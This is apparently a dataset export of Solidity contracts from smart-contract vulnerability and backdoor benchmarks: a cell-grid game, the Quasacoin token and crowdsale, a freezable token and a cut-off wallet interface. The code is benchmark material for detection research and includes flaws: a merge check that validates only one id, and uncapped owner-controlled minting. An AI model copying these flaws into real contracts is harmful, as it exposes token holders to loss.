hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8e06d6acf3854cfb4d2ab41560955250a631f9f577504fe0e9ca521612c3a808
| 11,340 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7f85141f4c463b194017e849db8973c7961476ce.sol
| 3,457 | 11,170 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CellTokens {
using SafeMath for uint256;
uint8 private constant MAX_COLS = 64;
uint8 private constant MAX_ROWS = 160;
uint8 private Reserved_upRow = 8;
uint8 private Reserved_downRow = 39;
uint8 private max_merge_size = 2;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
bool private erc721Enabled = false;
bool private mergeEnabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256 private startingPrice = 0.001 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (address => string) private usernameOfAddress;
function CellTokens () public {
owner = msg.sender;
admins[owner] = true;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
modifier onlyMergeEnable(){
require(mergeEnabled);
_;
}
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function enableMerge (bool status) onlyAdmins() public {
mergeEnabled = status;
}
function setReserved(uint8 _up,uint8 _down) onlyAdmins() public{
Reserved_upRow = _up;
Reserved_downRow = _down;
}
function setMaxMerge(uint8 num)onlyAdmins() external{
max_merge_size = num;
}
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100);
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100);
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100);
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100);
} else {
return _price.mul(2).div(100);
}
}
function requestMerge(uint256[] ids)onlyMergeEnable() external {
require(ids.length == 4);
require(ids[0]%(10**8)/(10**4)<max_merge_size);
require(ids[0]%(10**8)/(10**4)<max_merge_size);
require(ids[0]%(10**8)/(10**4)<max_merge_size);
require(ids[0]%(10**8)/(10**4)<max_merge_size);
require(ownerOfItem[ids[0]] == msg.sender);
require(ownerOfItem[ids[1]] == msg.sender);
require(ownerOfItem[ids[2]] == msg.sender);
require(ownerOfItem[ids[3]] == msg.sender);
require(ids[0]+ (10**12) == ids[1]);
require(ids[0]+ (10**8) == ids[2]);
require(ids[0]+ (10**8) + (10**12) == ids[3]);
uint256 newPrice = priceOfItem[ids[0]]+priceOfItem[ids[1]]+priceOfItem[ids[2]]+priceOfItem[ids[3]];
uint256 newId = ids[0] + ids[0]%(10**8);
listedItems.push(newId);
priceOfItem[newId] = newPrice;
ownerOfItem[newId] = msg.sender;
ownerOfItem[ids[0]] = address(0);
ownerOfItem[ids[1]] = address(0);
ownerOfItem[ids[2]] = address(0);
ownerOfItem[ids[3]] = address(0);
}
function checkIsOnSale(uint256 _ypos)public view returns(bool isOnSale){
if(_ypos<Reserved_upRow||_ypos>Reserved_downRow){
return false;
}else{
return true;
}
}
function generateId(uint256 _xpos,uint256 _ypos,uint256 _size)internal pure returns(uint256 _id){
uint256 temp= _xpos * (10**12) + _ypos * (10**8) + _size*(10**4);
return temp;
}
function parseId(uint256 _id)internal pure returns(uint256 _x,uint256 _y,uint256 _size){
uint256 xpos = _id / (10**12);
uint256 ypos = (_id-xpos*(10**12)) / (10**8);
uint256 size = _id % (10**5) / (10**4);
return (xpos,ypos,size);
}
function setUserName(string _name)payable public{
require(msg.value >= 0.01 ether);
usernameOfAddress[msg.sender] = _name;
uint256 excess = msg.value - 0.01 ether;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function getUserName()public view returns(string name){
return usernameOfAddress[msg.sender];
}
function getUserNameOf(address _user)public view returns(string name){
return usernameOfAddress[_user];
}
function buyOld (uint256 _index) payable public {
require(_index!=0);
require(msg.value >= priceOf(_index));
require(ownerOf(_index) != msg.sender);
require(ownerOf(_index) != address(0));
uint256 price = priceOf(_index);
address oldOwner = ownerOfItem[_index];
priceOfItem[_index] = calculateNextPrice(price);
uint256 excess = msg.value.sub(price);
address newOwner = msg.sender;
ownerOfItem[_index] = newOwner;
uint256 devCut = calculateDevCut(price);
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function buyNew (uint256 _xpos,uint256 _ypos,uint256 _size) payable public {
require(checkIsOnSale(_ypos) == true);
require(_size == 1);
require(_xpos + _size <= MAX_COLS);
uint256 _itemId = generateId(_xpos,_ypos,_size);
require(priceOf(_itemId)==0);
uint256 price =startingPrice;
address oldOwner = owner;
listedItems.push(_itemId);
priceOfItem[_itemId] = calculateNextPrice(price);
uint256 excess = msg.value.sub(price);
address newOwner = msg.sender;
ownerOfItem[_itemId] = newOwner;
uint256 devCut = calculateDevCut(price);
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function MergeStatus() public view returns (bool _MergeOpen) {
return mergeEnabled;
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Crypto10K.io";
}
function symbol() public pure returns (string _symbol) {
return "cells";
}
function totalSupply() public view returns (uint256 _totalSupply) {
uint256 total = 0;
for(uint8 i=0; i<listedItems.length; i++){
if(ownerOf(listedItems[i])!=address(0)){
total++;
}
}
return total;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint8 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function cellsOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint8 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function getAllCellIds () public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](totalSupply());
uint256 itemCounter = 0;
for (uint8 i = 0; i < listedItems.length; i++) {
if (ownerOfItem[listedItems[i]] != address(0)) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf () public view returns (uint256 _startingPrice) {
return startingPrice;
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice, uint256 _xpos, uint256 _ypos, uint256 _size) {
uint256 xpos;
uint256 ypos;
uint256 size;
(xpos,ypos,size) = parseId(_itemId);
return (ownerOfItem[_itemId],startingPriceOf(),priceOf(_itemId),nextPriceOf(_itemId),xpos,ypos,size);
}
function getAllCellInfo()external view returns(uint256[] _tokenIds,uint256[] _prices, address[] _owners){
uint256[] memory items = new uint256[](totalSupply());
uint256[] memory prices = new uint256[](totalSupply());
address[] memory owners = new address[](totalSupply());
uint256 itemCounter = 0;
for (uint8 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) !=address(0)) {
items[itemCounter] = listedItems[i];
prices[itemCounter] = priceOf(listedItems[i]);
owners[itemCounter] = ownerOf(listedItems[i]);
itemCounter += 1;
}
}
return (items,prices,owners);
}
function getMaxMerge()external view returns(uint256 _maxMergeSize){
return max_merge_size;
}
function showBalance () onlyAdmins() public view returns (uint256 _ProfitBalance) {
return this.balance;
}
}
| 164,717 | 11,700 |
582d944bdb1e2d6ca787831366a409a7c0753772d0b059665e3da1487e419c4b
| 16,957 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x48299b98d25c700e8f8c4393b4ee49d525162513.sol
| 3,723 | 10,758 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicFrozenToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => uint256) unfrozeTimestamp;
// Custom code - checking for on frozen
// @return true if the sending is allowed (not frozen)
function isUnfrozen(address sender) public constant returns (bool) {
if(now > 1530921600)
return true;
else
return unfrozeTimestamp[sender] < now;
}
function frozenTimeOf(address _owner) public constant returns (uint256 balance) {
return unfrozeTimestamp[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// Custom code - checking for frozen state
require(isUnfrozen(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicFrozenToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
// Custom code -
require(isUnfrozen(_from));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract QuasacoinToken is StandardToken, Ownable {
string public name = "Quasacoin";
string public symbol = "QUA";
uint public decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
require(_amount > 0);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
uint frozenTime = 0;
if(now < 1530921600) {
// 15.01.18 00:00:00 (1515974400) - 30.03.18 00:00:00 (1522368000)
if(now < 1515974400)
frozenTime = 1522368000;
// c 15.01.18 00:00:00 15.02.18 00:00:00 (1518652800) - 30.05.18 00:00:00 (1527638400)
else if(now < 1518652800)
frozenTime = 1527638400;
// c 15.02.18 00:00:00 26.03.18 00:00:00 (1522022400) - 30.06.18 00:00:00 (1530316800)
else if(now < 1522022400)
frozenTime = 1530316800;
// c 26.03.18 00:00:00 15.04.18 00:00:00 (1523750400) - 01.07.18 00:00:00 (1530403200)
else if(now < 1523750400)
frozenTime = 1530403200;
// c 15.04.18 00:00:00 15.05.18 00:00:00 (1526342400) - 07.07.18 00:00:00 (1530921600)
else if(now < 1526342400)
frozenTime = 1530921600;
// c 15.05.18 00:00:00 15.06.18 00:00:00 (1529020800) - 30.06.18 00:00:00 (1530316800)
else if(now < 1529020800)
frozenTime = 1530316800;
else
// 15.06.18 00:00:00 07.07.18 00:00:00 (1530921600) - 07.07.18 00:00:00 (1530921600)
frozenTime = 1530921600;
unfrozeTimestamp[_to] = frozenTime;
}
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract QuasacoinTokenCrowdsale {
using SafeMath for uint256;
// The token being sold
QuasacoinToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startPreICOTime;
// preICO ICO
uint256 public startICOTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// ownership ICO
address public tokenOwner;
// how many token units a buyer gets per wei
uint256 public ratePreICO;
uint256 public rateICO;
// amount of raised money in wei
uint256 public weiRaisedPreICO;
uint256 public weiRaisedICO;
uint256 public capPreICO;
uint256 public capICO;
mapping(address => bool) internal allowedMinters;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function QuasacoinTokenCrowdsale() {
token = QuasacoinToken(0x4dAeb4a06F70f4b1A5C329115731fE4b89C0B227);
tokenOwner = 0x373ae730d8c4250b3d022a65ef998b8b7ab1aa53;
wallet = 0x373ae730d8c4250b3d022a65ef998b8b7ab1aa53;
// 15.01.18 00:00:00 (1515974400)
startPreICOTime = 1515974400;
// 15.02.18 00:00:00 (1518652800)
startICOTime = 1518652800;
// 26.03.18 00:00:00 (1522022400)
endTime = 1522022400;
// Pre-ICO, 1 ETH = 6000 QUA
ratePreICO = 6000;
// ICO, 1 ETH = 3000 QUA
rateICO = 3000;
capPreICO = 5000 ether;
capICO = 50000 ether;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens;
if(now < startICOTime) {
weiRaisedPreICO = weiRaisedPreICO.add(weiAmount);
tokens = weiAmount * ratePreICO;
}
else {
weiRaisedICO = weiRaisedICO.add(weiAmount);
tokens = weiAmount * rateICO;
}
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
if(now >= startPreICOTime && now < startICOTime) {
return weiRaisedPreICO.add(msg.value) <= capPreICO;
} else if(now >= startICOTime && now < endTime) {
return weiRaisedICO.add(msg.value) <= capICO;
} else
return false;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
if(now < startPreICOTime)
return false;
else if(now >= startPreICOTime && now < startICOTime) {
return weiRaisedPreICO >= capPreICO;
} else if(now >= startICOTime && now < endTime) {
return weiRaisedICO >= capICO;
} else
return true;
}
function returnTokenOwnership() public {
require(msg.sender == tokenOwner);
token.transferOwnership(tokenOwner);
}
function addMinter(address addr) {
require(msg.sender == tokenOwner);
allowedMinters[addr] = true;
}
function removeMinter(address addr) {
require(msg.sender == tokenOwner);
allowedMinters[addr] = false;
}
function mintProxyWithoutCap(address _to, uint256 _amount) public {
require(allowedMinters[msg.sender]);
token.mint(_to, _amount);
}
function mintProxy(address _to, uint256 _amount) public {
require(allowedMinters[msg.sender]);
require(now >= startPreICOTime && now < endTime);
uint256 weiAmount;
if(now < startICOTime) {
weiAmount = _amount.div(ratePreICO);
require(weiRaisedPreICO.add(weiAmount) <= capPreICO);
weiRaisedPreICO = weiRaisedPreICO.add(weiAmount);
}
else {
weiAmount = _amount.div(rateICO);
require(weiRaisedICO.add(weiAmount) <= capICO);
weiRaisedICO = weiRaisedICO.add(weiAmount);
}
token.mint(_to, _amount);
TokenPurchase(msg.sender, _to, weiAmount, _amount);
}
}
| 144,019 | 11,701 |
3406a4a6ecc9da9c8e5a02422c5491735a5ca79dbc1490fb58a463d41431d624
| 20,881 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0b0817b46e8a497b0f562693706e70726ce644d6.sol
| 3,461 | 12,388 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Helios Neural Network";
string public constant TOKEN_SYMBOL = "HNN";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xc5A792CFD6faFE71348f919815B2A2eaaEf32a93;
uint public constant START_TIME = 1535698800;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 218,077 | 11,702 |
03e7a0cbd404c2b548da727fb4256dc0e1273a3e0990b63f5b089ecf781c769f
| 13,517 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1848e646bba45174f4044443719db6e5e6cf5d66.sol
| 3,253 | 12,927 |
pragma solidity ^0.5.4;
contract ERC20 {
function totalSupply() public view returns (uint);
function decimals() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
interface Module {
function init(BaseWallet _wallet) external;
function addModule(BaseWallet _wallet, Module _module) external;
function recoverToken(address _token) external;
}
contract BaseWallet {
address public implementation;
address public owner;
mapping (address => bool) public authorised;
mapping (bytes4 => address) public enabled;
uint public modules;
function init(address _owner, address[] calldata _modules) external;
function authoriseModule(address _module, bool _value) external;
function enableStaticCall(address _module, bytes4 _method) external;
function setOwner(address _newOwner) external;
function invoke(address _target, uint _value, bytes calldata _data) external;
function() external payable;
}
contract ModuleRegistry {
function registerModule(address _module, bytes32 _name) external;
function deregisterModule(address _module) external;
function registerUpgrader(address _upgrader, bytes32 _name) external;
function deregisterUpgrader(address _upgrader) external;
